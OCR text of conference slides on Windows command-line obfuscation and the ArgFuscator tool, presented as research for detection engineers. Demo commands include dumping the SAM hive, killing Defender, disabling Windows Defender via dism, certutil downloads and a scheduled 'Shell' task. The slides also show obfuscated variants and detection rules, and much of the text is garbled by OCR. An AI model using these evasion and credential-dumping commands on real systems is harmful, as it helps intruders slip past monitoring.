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Changing landscape

Malware-free Activity
According to CrowdStrike’s 2024 Global Threat Report

Increased use of legitimate tools 100%

Built-in scripting tools
LOLBAS
Legitimate 3rd party tools 75%

Challenges
Blending in with normal use
Not setting off detections (?)

50%

25%

0%
2019 2020 2021 2022 2023
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https://www.crowdstrike.com/en-us/global-threat-report/

Command Lines

e String/list of strings provided to
starting program

o Typically used to glIgile)
ithout requiring interaction

e Every process has command-line
arguments (even if not set/empty)

e Provides a YEUIEIo| XS eV {e=X0)i
lal{e1aast=Nile]g! for defenders

O [&+] Administrator: Command Pro X S [

c:\NULLCON2025>notepad

c:\NULLCON2025>notepad c:\Windows\System32\drivers\etc\hosts

c:\NULLCON2025>taskkill /¥ /im MsMpEng.exe

ERROR: The process "MsMpEng.exe" with PID 2952 could not be terminate
d.

Reason: Access is denied.

‘c:\NULLCON2025>reg save "HKLM\SAM" sam.reg

The operation completed successfully.

c:\NULLCON20625>




Command-Line Obfuscation
IS the masquerading of the
true Intention of a command
you are trying to run.



Command-Line Obfuscation variants

Option Char Substitution

y

L Hello Goa!
\

[cs] Command Prompt X + || ™~

D

c:\NULLCON2025>powershell /ec dwByAGKAdABLACOAaABvAHMAdAAgAEgAZQBsAGwAbwAgAEcAbwBhACEA

Hello Goa! U+002F Regular slash

c:\NULLCON2025>powershell -ec dwByAGKAdABLACOAaABvAHMAJAAgAEgAZQBsAGwAbwAgAEcAbwBhACEA
Hello Goa! U+002D Regular hyphen

c:\NULLCON2025>powershell —ec dwByAGKAdABLACOAaABvAHMAJAAgQAEgAZQBsAGwAbwAgAEcAbwBhACEA
Hello Goa! U+2013 En dash

c:\NULLCON2025>powershell —ec dwByAGKAdABLACOAaABvAHMAJAAgAEgAZQBsAGwAbwAgAEcAbwBhACEA
Hello Goa! U+2014 Em dash

c:\NULLCON2025>powershell —ec dwByAGKAdABLACOAaABvAHMAdJAAgAEgAZQBsAGwAbwAgAEcAbwBhACEA

U+2015 Horizontal bar (or Quotation Dash)

| €t \NULLCON2925> [ Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

PR SEQRVYFO & £2QANE RSN

.| Process Name
.. B¥powershell.exe
.. B¥powershell.exe
.. Bpowershell.exe
.. Bpowershell.exe
. Bpowershell.exe

PID  Operation Command Line
6728 £2Process Start powershell /ec dwByAGKAJABIACOAaABVAHMA ..
8732 &2Process Start powershell -ec dwByAGKAdABIACOAaABVAHMA ...
4084 §>Process Start powershell -ec dwByAGKAJABIACOAaABVAHMA ...
8376 £Process Start powershell -ec dwByAGKAdABIACOAaABVAHM...
5880 £Process Start powershell ~ ec dwByAGKAdABIAC0AaABVAHM...

Result
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

Detail

Parent PID: 14...
Parent PID: 14...
Parent PID: 14...
Parent PID: 14...
Parent PID: 14...
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ok .
'.‘ e|a5t|c Platform  Solutions Customers Resources Pricing Docs Start free trial

Connection via systemd

Rule query

Suspicious Network Tool
Launched Inside A Container

Suspicious PDF Reader Child : ) )

Process process where host.es.tune == ‘“windows" and event.action == "start[ga

process.name : ("powershell.exe", Mpwsh.exe") and

process.parent.nmame : (“wscript.exe", "cscript.exe', "mshta.exe") a
{

Suspicious Passwd File Event
Action

Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

PELCQVTFO & 2QNERIE

.| Process Name PID Operation Command-Lina Result Detail

. B¥powershellexe 6960 £&>Process Start powershel /ec cwByAGKAdABIACOAaABVAHMA..SUCCESS ParentPID: 14...
. B¥powershellexe 3992 £€>Process Start powershel -ec (wByAGKAJABIAC0AaABVAHMA._.SUCCESS ParentPID: 14...
. B¥powershell.exe 7704 £€>Process Start powershel -ec ¢ wByAGKAdABIACOAaABVAHMA...SUCCESS ParentPID: 14...
. B¥powershell.exe 1208 £&>Process Start powershel —ec (IwByAGKAJABIACOAaABVAHM... SUCCESS ParentPID: 14...
. B¥powershell.exe 2588 £€>Process Start powershel ~ec iwByAGKAJABIACOAaABVAHM... SUCCESS ParentPID: 14...

A . - T TEPLACETFE
Suspicious Print Spooler SPL " "
File Created *MemoryStream*",

"sWriteAllBytes*",
Suspicious PrintSpooler
Se Executable File
Creation

—enx *'".

-ec *",

—e ",

-ep *”J

/e x",

Jenk ®".

Jec x",

Jep ",

CallTrace "yWebClien Nullcon Goa 2025/ @

1
n
Suspicious Proc Pseudo File o
System Enumeration
n
Suspicious Process Access |
via Direct System Call

*
E
*
E
E
*
*
*

Suspicious Process Creation



https://www.elastic.co/guide/en/security/current/suspicious-powershell-execution-via-windows-scripts.html
https://www.elastic.co/guide/en/security/current/suspicious-powershell-execution-via-windows-scripts.html

Command-Line Obfuscation variants

Character Substitution

[cx] Command Prompt X P || 2

c:\NULLCON2025>msiexec /package
c:\NULLCON2025>msiexec /Packade
c:\NULLCON2025>msiexec /package
c:\NULLCON2025>msiexec /package

:\NULLCON2025>msiexec /package

n

c:\NULLCON2025>

File Edit Event

https://download.anydesk.com/AnyDesk.msi
https://download.anydesk.com/AnyDesk.msi
https:\\download.anydesk.com/AnyDesk.msi
https:\/download.anydesk.com/AnyDesk.msi

https:/\download.anydesk.com/AnyDesk.msi

I Process Monitor - Sysinternals: www.sysinternals.com

Filter Tools Options Help

PR SECQRVYFO & £2QANERBREH

.| Process Name

.. @'msiexec.exe

.. @' msiexec.exe

.. @' msiexec.exe

\ .. B msiexec.exe
.. @ msiexec.exe

PID Operation Command Line
1336 £3Process Start msiexec /package https:/download.anydesk.com/...
5732 €Process Start msiexec /package hitps://download.anydesk.com/...
840 £2Process Start msiexec /package https:\download.anydesk.com...
2192 §&Process Start msiexec /package hitps:\/download.anydesk.com/...
5736 §3Process Start msiexec /package https:/\download.anydesk.com/...

Result
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

Detail

Parent PID: 14...
Parent PID: 14...
Parent PID: 14...
Parent PID: 14...
Parent PID: 14...
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.| Process Name
. @ msiexec.exe
. @ msiexec.exe
. @ msiexec.exe
. @ msiexec.exe
. @ msiexec.exe

4] Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

BIFEQ VY@ & F2QANERBRR W "

Analytic Stories Detections Playbooks Data Sources Blog About C

splunk>

a CISCO company

Result Detail

Parent PID: 14...
Parent PID: 14...
Parent PID: 14...
Parent PID: 14...
Parent PID: 14...

PID | Operation Command Line
1336 {S2Process Start msiexec /package https://download.anydesk.com/...SUCCESS
5732 £&Process Start msiexec /rackage httns://download.anydesk.com/... SUCCESS

840 {>Process Start msiexec /package https:\\dow load.anydesk.com/...SUCCESS
2192 &>Process Start msiexec /package https:\/dow 1load.anydesk.com/..SUCCESS
5736 £&>Process Start msiexec /package https:/\dowload.anydesk.com/...SUCCESS

ne, indicating a

B (EDR) agents,

t may indicate an
malicious, this
hin the network.

=

Search
Known False
Positives
Associated
Analytic Story 2 | tstats "security_content_summgss a0 + _time) as firstTime Cutiman lastTiman s

datamodel=Endpoint.Processes wher@ "process_msiexec™ Processes.process INN("*http://*", "*https://*"
by Processes.dest Processes.user - cess_name Processes. = Lun b

Risk Based
Analytics (RBA N ) . )
DR nal_file_name Processes.process Processes.process_id Processes.parent_process_id
References 5 (Processes)’
| (firstTime)"
Detection 5 1 ° (lastTime)"
Testing | “windows_msiexec_remote_download_filter”

Data Source

CrowdStrike N/ Nullcon Goa 2025 / @Wietze,
NSA

ProcessRollup2


https://research.splunk.com/endpoint/6aa49ff2-3c92-4586-83e0-d83eb693dfda/
https://research.splunk.com/endpoint/6aa49ff2-3c92-4586-83e0-d83eb693dfda/

Command-Line Obfuscation variants

Character Insertion

[cv] Command Prompt X il

c:\NULLCON2025>certutil —-f -urlcache https://nullcon.net/goa-2025 homepage.txt
*%%% Online *%%%*
CertUtil: -URLCache command completed successfully.

c:\NULLCON2025>certutil —f -""cuérelceaceoohe https://nullcon.net/goa-2025 homepage-2.txt
*%%% Online *%%*
CertUtil: -URLCache command completed successfully.

c:\NULLCON2025>

4 Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

PRSECQRVYFO & £2QANERBREH

.| Process Name PID  Operation Command Line Result Detail
. ¥ certutil exe 8276 £2Process Start certutil -f-urlcache https://nullcon.net/goa-2025 ho...SUCCESS ~ Parent PID: 14...
.. $Acertutil exe 4712 §2Process Start certutil -f -Mulrliclaclllhe https:/nulicon.net/goa-20..SUCCESS  Parent PID: 14...

Nullcon Goa 2025 / @Wietze



= O SigmaHQ / sigma

<> Code () Issues 15 i7 Pullrequests 45 ) Discussions (*) Actions [0 Wiki () Security |~ Insights

[ ¥ fad4742 - sigma |/ rules [ windows [ process_creation [ proc_creation_win_certutil_download.yml ()

4 Process Monitor - Sysinternals: www.sysinternals.com .

File Edit Event Filter Tools Options Help

PR LEBQRIVFO & 2Q N ERRIE®H

.| Process Name PID | Operation Command Line Result Detail

.. ¥certutil.exe 8276 £C>Process Start certutil -f -urlcache httns://nullcon.net/goa-2025 ho...SUCCESS  Parent PID: 14...
. ¥ certutil.exe 4712 €§“"Process Start certuti -f -™ulrliclaclllhe hitps://nullcon.net/goa-20..SUCCESS Parent PID: 14...
_ — ge-servers/

12 - hitps://twitter.com/egre55/status/1087685529016193825
13 - https://lolbas-project.github.io/lolbas/Binaries/Certutil/
14 author: Florian Roth (Mextron Systems), Jonhnathan Ribeire, oscd.community, Nasreddine Bencherchali (Nextron Systems)
15 date: 2023-02-15 |______________‘
16 tags: detection: |
17 - attack.defense-evasion | Selecl 1on_1mg:
18 - attack.t1027 |
19 logsource: | - Imaqe|cndsw1th:[‘\certutil.exe’]
20 t : ti q
- - _;L;i?il;:i’"jm"_ I | - OriginalFileName: 'CertUtil.exe’ |
22 L selection_flags: |
rk}
24 l | l CommandLinelcontains: |
iz | | | [ - 'urlcache ' ] |
27 | | | - 'verifyctl '
28 |
29 | | | selection_http:
) A P e CommandLine|contains: ‘http’ |
31 CommandLine |contains: 'http |
32 condition: all of selection_% - condition: all of Selection_* |
33 falsepositives: T T T T YT T T T T T T ulicon Goa 2025 1 @Wietz
34 = Unknown

35 level: medium


https://github.com/SigmaHQ/sigma/blob/fad4742996c55d8d4663e611f84877a2b741dc46/rules/windows/process_creation/proc_creation_win_certutil_download.yml
https://github.com/SigmaHQ/sigma/blob/fad4742996c55d8d4663e611f84877a2b741dc46/rules/windows/process_creation/proc_creation_win_certutil_download.yml
https://github.com/SigmaHQ/sigma/blob/fad4742996c55d8d4663e611f84877a2b741dc46/rules/windows/process_creation/proc_creation_win_certutil_download.yml

Command-Line Obfuscation variants

Keyword Obstruction _

[cs] Command Prompt X + || ™~ O X

c:\NULLCON2025>schtasks /create /sc minute /mo 15 /tn "Shell 1" /tr c:\windows\temp\x.exe
SUCCESS: The scheduled task "Shell 1" has successfully been created.

c:\NULLCON2025>schtasks /"c"r"e"ate /"sc" min"ute" /"m"o 1"5" /tn "Sh"el"l 2" /tr c:\win"d
"o"ws\nullcon/../.\tem"p/x.exe
SUCCESS: The scheduled task "Shell 2" has successfully been created.

c:\NULLCON2025>

I Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

PRSECQRVYFO & £2QANERBREH

.| Process Name PID  Operation Command Line Result Detail
.. Mischtasks.exe 7372 é“’Process Start schtasks /create /sc minute /mo 15 /tn "Shell 1" /ir ..SUCCESS Parent PID: 14...
.. Clschtasks.exe 2268 @Process Start schtasks /"c"r'e"ate /"sc" min"ute" /"m"o 1"5" /in"... SUCCESS ParentPID: 14...

Nullcon Goa 2025 / @Wietze



II' LOGPOINT Products v Solutions v Pricing  Resources & Support v Partner resources v

Persistent Tasks from Suspicious Locations

Malware or threat actors frequently drop their payloads in publicly writable directories, utilizing them for initial
Jump To Section v

deployment and persistence. It is crucial to monitor scheduled tasks originating from these specific directories.

1. Task Scheduler

2. Task Scheduling and...

3. Scheduled Tas!

nt of Suspicious...

label="Create" label="Process"
“"process"="fx\schtasks.exe" Jcommand='*/Create =*"

O AteathTe v gy Vs v

(command in ["=*:\ProgramData\#", "#:\Temp\x", "*:\Tmp\#", "#:\Users\Public\=",

B R

“x:\Windows\Temp\#", I'«\AppData\=", "#%AppData®%«", "#%Temp%", "sS%tmpx"])

hitps://ww.logpoint.com/e... w @

The management of scheduled tasks' execution on Windows 10 is handled by "svchost.exe" through the command
line "C: \WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule". Before Windows 10 Version 1511,
it was executed by taskeng.exe. Analyzing the subprocesses of this particular process enables the detection of any
irregular patterns that could indicate the presence of potentially harmful scheduled tasks.

»

c:\NULLCON2025>schtasks | /"c"r"e"ate
§ "o"ws\nullcon/../.\tem"p/x.exe

 8AcK  lable"Croste” label="Proce T v o saxromsnss - ([ R

parent_command=

N
Nullcon Goa 2025 / @Wietze



https://www.logpoint.com/en/blog/shenanigans-of-scheduled-tasks/
https://www.logpoint.com/en/blog/shenanigans-of-scheduled-tasks/

it's all

anecdotal



02
Finding vulnerable applications



Process

Blackbox testing
Select application of obfuscation Create model file Test model file

— options
N

47 t&

Abstraction

&
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Step 1:

Select an application

QO Administrator: Command Pro X |15

C:\Users\wietze>ipconfig /all
Windows IP Configuration

Host Name .

Primary Dns Sufflx
Node Type . :

IP Routing Enabled
WINS Proxy Enabled.

DNS Suffix Search List.

Ethernet adapter Ethernet:

Connection-specific DNS Suffix
Description . . .

Physical Address.

DHCP Enabled. :
Autoconfiguration Enabled :
IPv6 Address.

Temporary IPv6 Address
Link-local IPv6 Address .
IPv4 Address.

Subnet Mask .

Lease Obtained.

1 1 asnecens Evinernac

: WINDOWS-LG52H9F

: Hybrid
: No

: No

: lan

: lan

: Red Hat VirtIO Ethernet Adapter
: 2E-55-8B-1C-C6-18

: Yes
: Yes
: fd34:7256:U3bf:468e:9F83:6694:fffe:6d92(Preferred)
: fd34:7256:U43bf:468e:a93d:815e:1126:3656(Preferred)
: fe80::4793:be3:f8Ue:f512%11(Preferred)

: 192.168.64.4(Preferred)

: 255.255.255.0

: 13 January 2025 16:26:36
e« 12 Tamsnmiinyryv INOE 1T 4248

Nullcon Goa 2025 / @Wietze



Step 2:

Blackbox test obfuscation options

Random case e.qg. /foo & /Foo

Option character substitution e.g. /foo & -foo
Character substitution e.g. /foo & /f0o
Character insertion e.qg. /foo < /fo@o
Quote insertion e.g. /foo < /f"0"o
Shorthands e.g. /foo & /fo < /f
Alternative URL notation e.g. https://< https:\\

Alternative file path notation e.g. c:\foobar < c:\x\..\foobar



Step 2:

Blackbox test obfuscation options

PS C:\Users\Wietze> analyse_obfuscation

Er”_Cavm N llone ,,,

analyse_obfuscation
Python library

https: ithub.com/wietze/window
s-command-Line-obfuscation



https://github.com/wietze/windows-command-line-obfuscation
https://github.com/wietze/windows-command-line-obfuscation

Step 3:

Create model file

Random case ,e.g. /all & /all

Option character substitution ,e.q0./all & -all

Character substitution ,e.g. /all & /atl  (U+1D38)
Character insertion ,e.g. /all & /a@ll (U+0C84)
Quote insertion ,e.g. /all & /"a"11
Shorthands X

Alternative URL notation N/A

Alternative file path notation N/A

I a 2025 / @Wietze



Step 3:

Create model file

{

"command": [ {"command": "ipconfig"}, {"argument": "/all"} ],
"modifiers": {
"RandomCase": {
"AppliesTo": ["command", "argument"]

"OptionCharSubstitution"”: {
"AppliesTo": ["argument"],
lloptionchar‘sll: [II/II’ II_II]
"CharacterSubstitution": {
"AppliesTo": ["argument"],
"Mapping": {
"1": ["\u@29f", "\u@2el", "\uld38", "\uldab", "\u2097", "\uff2c", "\uffdc"],

}

"CharacterInsertion”: {
"AppliesTo": ["argument"],
"Characters": ["\u@34f", "\u@378",

"éuoteInsertion": {
"AppliesTo": ["argument"]

Nullcon Goa 2025 / @Wietze




Step 4:

Test Model File

Teligele[Vlei[glefiNnvOke-ArgFuscatorp

e Enables obfuscating command-line arguments, “argfuscation”

e Takes model files and generates new command-line arguments following the
given pattern

e [For example:

> Invoke-ArgFuscator "ipconfig.json™ 3

b
< iPcoNfiG -AlER &R E — 1BE
>1pCoNFiG -2LEREEL
< IpCoNFig /"A'mRIL"

Nullcon Goa 2025 / @Wietze



But now...

Will It Run?



Step 4:

Test Model File

X PowerShell X Command Prompt X t v

PS C:\Users\Wietze> Invoke-ArgFuscator .\models\windows\ipconfig.json 16|

Er_C@9m™

~

(R ISR )

24/01

3 32000%8 o° °83,° °

288 o0 o $3°3

%% _o$° ..'8..
S g2 S

Nullcon Goa 2025 / @Wietze


https://github.com/wietze/Invoke-Argfuscator
https://github.com/wietze/Invoke-Argfuscator

Process

Blackbox testing
Select application of obfuscation Create model file Test model file

— options
N

47 t&

Abstraction

&

Nullcon Goa 2025 / @Wietze



Research results

IE] executables sampled against Windows 11 23H2

addinutil.exe
adfind.exe
arp.exe

aspnet_compiler.exe

at.exe
auditpol.exe
bcdedit.exe
bitsadmin.exe
cacls.exe
certreq.exe
certutil.exe
cipher.exe
cmdkey.exe
cmstp.exe
csc.exe

cscript.exe
curl.exe
dism.exe

driverquery.exe

expand.exe
extrac32.exe
findstr.exe
fltmc.exe
forfiles.exe
fsutil.exe
ftp.exe
icacls.exe
ipconfig.exe
jsc.exe
makecab.exe

msbuild.exe
msiexec.exe
nbtstat.exe

net.exe
(and netl.exe)

netsh.exe
netstat.exe
nltest.exe
nslookup.exe
ping.exe
pnputil.exe
powershell.exe
(and pwsh.exe)
procdump.exe
psexec.exe

query.exe
reg.exe
regedit.exe
regsvr32.exe
robocopy.exe
route.exe
rpcping.exe
runas.exe
sc.exe
schtasks.exe
secedit.exe
takeown.exe
tar.exe
taskkill.exe
tasklist.exe

vaultcmd. exe
vbc.exe
w32tm.exe
wevtutil.exe
where.exe
whoami.exe
winget.exe
wmic.exe
wscript.exe
Xcopy.exe

Nullcon Goa 2025 / @Wietze



03
Nligele[Sleilgle] ArgFuscator.net

O —



ArgFuscator

An open-source project
documenting and generating
command-line obfuscation opportunities

» Developed in » 68 EXEs supported * Create your own!
TypeScript out of the box
» Hosted on GitHub * Fully configurable

ArgFuscator.net
Platform

>_ ArgFuscator = Whatisthis? Allentries Offlineversion GitHub @Wietze

dism /Online /Disable-Feature /FeatureName:Windows-Defender /Remove fMoRestart /quiet

B dism @ /Online @ /Disable-Feature

JFeatureName: | @ Windows-Defender|@ /Remove /NoRestart 'ﬂpply obfuscation ‘

Output

DISM -onBEEl1IE"ne"H /EI"IZIdIEIs"NEIEIEIh"EILE—"fEIIZL;"eIZIEIa"PEI+IEITEIuEI"£EIRF.E -Ef"ECAT."BQu"ErEEEEENaE"MG el : W"I"nd" 0" W" S~
"deF"e"nd"E"R -Or>E"E—"EEN"Ove"EEta J/"nEEOR"+ BEE+"s"t"AR"rETE /QE"EuI"EEEE"BET"

» Options


https:///




Spoiler alert: YES

Will It Run?

c:\windows\temp\testl c:\windows\temp\test2 /copy:DATS /s /ndl /v /quit
C:\Up“DA“T“E\. .\\WII‘ND“O“WS“/"//"t"EMp"/.\T"E"ST"].
C:\wllillnllsllxllsll/. _/"/"W"in"DO"W"S"/"/"W"I"NS"X"S\\\. ./"T"E"mP"/"/.|u"P"d"A"t"e"/. ./ll/ll_tEllst
/llcllollPlly:Dllatlls /llsll _IlnDlll _nyn /llQllUnit“
-subnet -f "(objectCategory=subnet)"

-"$libn "eT —f "(object"C"a"te"g"o"r"y=s"u"bn"et)"

/online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
-000nO1"ilned" DR /"d["j[dDé’L["DDS"DDa"b%]DleD]D"-]F]DEUDa]t,:DD]UDRe -

FO"EDQUEB"AL "I TU" r[JENAMEle :w" INDOWS - "DE"FEN"D"Er" /RE[I"MOVIIE[I[I"BH /[1"n[JoRTeSI"[IT[1"a"RT
/0QO"vEDE"DOI"DEEO" O

-Post -config https://example.org/some/endpoint c:\windows\win.ini output.txt
-pONis 00t -cO000 °NOOF*Ie

ht"t"p"s://"e"x"a"mpl"e.or"g"/u"pd"a"te"/../d"e"bug"/../som"e/"e"nd"p"0"i"nt
C:\sY"STeM"32\\..\W"I"nd"Ow"S"/"//W"In.In"I oU"t"P"Ut.TX"t

-type=txt -timeout=10 nullcon.net
~typus B fAe R iwm=TxT -t"i"mél deB 2 AR Mo/ AfulF B AW E —"0"1=n"u""11"c"0"n. "ne"t

export HKLM\SomeReg c:\windows\temp\somefile.txt
e*BMUBP 2HROTA HKLM\SomeReg
c:\u"pD"A"Te\\.././"WIND"O"W"S\\T"E"m"p"/"SY"S"Te"m"32/../"//Sy"STE"m32" /. .\SOM"EFi"1"e.T"XT
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Impact

D ef en d ers adfind.exe

It was found that adfind.exe command lines can be obfuscated with the following techniques:

+ Character Substitution: Some command-line arguments allow characters to be replaced with Unicode equivalents.
Example: - regex? is functionally equivalent to - FegE X ?

« Option Character Substitution: Command-line option characters, such as those starting with a forward slash or hyphen, have {unicode)
alternatives that are also accepted.
Example: - regex? is functionally equivalent to -regex? (using character U+2212)

W h e n Writi n g d eteCt i O n CO n te n t ’ C h e Ck . Eeuy:::rl::‘:::g:nliLsechif‘i::::; :::dauble quotes (in multiples of two) to some of the command-line options. This may obfuscate

Example: -regex? is functionally equivalent to -"r"e"g"ex?

your logic against ArgFuscator:

o [BEEG|lerIToleEIe[sE setting out what

obfuscation types an executable is

Obfuscate adfind.exe commands

Paste a valid adfind.exe command here..

susceptible to e

S Test command lineskiiii e

Options
ArgFuscator.net (oot o] ]

U 0 Enable Quote Insertion
. mate teStIng Wlth Applyto | everything except Program Names | with a probability of

Enable RaNdOmCaSe

I n VO ke -Arg F u S Cato r Applyto. [ everything except URLS, Values | witha probability of [0.5 ¢ |

Enable Option Char Substitution
Applyto | Regular Arguments only | with a probability of

Possible option chars | ..——~—j—

Enable Sed replacements
Apply to

with a probability of

\s/asalalAlalAlalAlal A/L |
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Sample of 68 Windows executables

Statistics

93% | 26%

General Char

Quote Insertion Substitution

2% | 24%

Option Char
Substitution

General Char Insertion

6%

Shorthands

95%

At least 2 types of
obfuscation*
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Impact

D ef e n d e r S " supportEd e (68)
Windows
Obfuscation| Character | Character Option Quote File Path
Executable Character RaNdOmcCaSe|
types Substitution | Insertion Substitution Insertion Transformations Transformallons

certreg.exe

Many (system-native) executables -

ﬂpand exe

[<H<H<N<]
[<H<B<N<]

are affected -

robocopy.exe

[<H<N< N

<]

regsvr3).exe

[T T T - -
[<H<H<H<N< NN«

4]
[SHSHCHS NN N N4
[CHCHCH NN N<N<]

< <]

regedit.exe

[N <N NS

powershell.exe (and
pwsh)

Detecting command-line obfuscation ..

nslookup.exe

doesn’t have to be difficulty

msiexec.exe

(5]
<]
<]
<]

(<< N<]
[<H<H<]
<]

(< <]

msbuild.exe

<< J<]
< J<]

makecab.exe

e High number of quotes, quotesin ..
strange places oz

e Non-ASCII characters

arp.exe

e Uppercase/lowercase ratio e

vbe.exe

e Long command lines s

takeown.exe

[SH<H<N<]
[SH<B NN NN NN N4

<]
[<H<BN<N NN N4

(<< W< N<N<]

< <]
[<lI<]

[N NN NN NN Q<N NN NN N<B<]

<< NN H<

schtasks.exe

rpeping.exe

TR route.exe

psexec.exe

procdump.exe Nullcon Goa 2025 / @Wietze

S N N S S N SN T T T NN T T BT T T T N ]

10000l

JNH NN NN NN N4
<M N NN H<N<]

[<J< J<]

pnputil.exe
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What does the future hold?



Going forward

-/ L, This problem will not go away anytime soon
v Although a minor shift in the right direction is visible

222 Don’t rely on command-line arguments
gé® Use system-native events where you can!

3] MacOS and Linux obfuscation support coming

— ) Not as wild as Windows, but both have their own quirks
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Call for action

Y, Stay involved
N Follow the project on GitHub, bookmark the links

@ Defenders: check your detection logic

Use ArgFuscator and Invoke-ArgFuscator

& Contribute!

Help add new entries, and fix bugs

ArgFuscator.net




Thank you
X @wietze
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ArgFuscator.net

{8 /in/wjbbeukema
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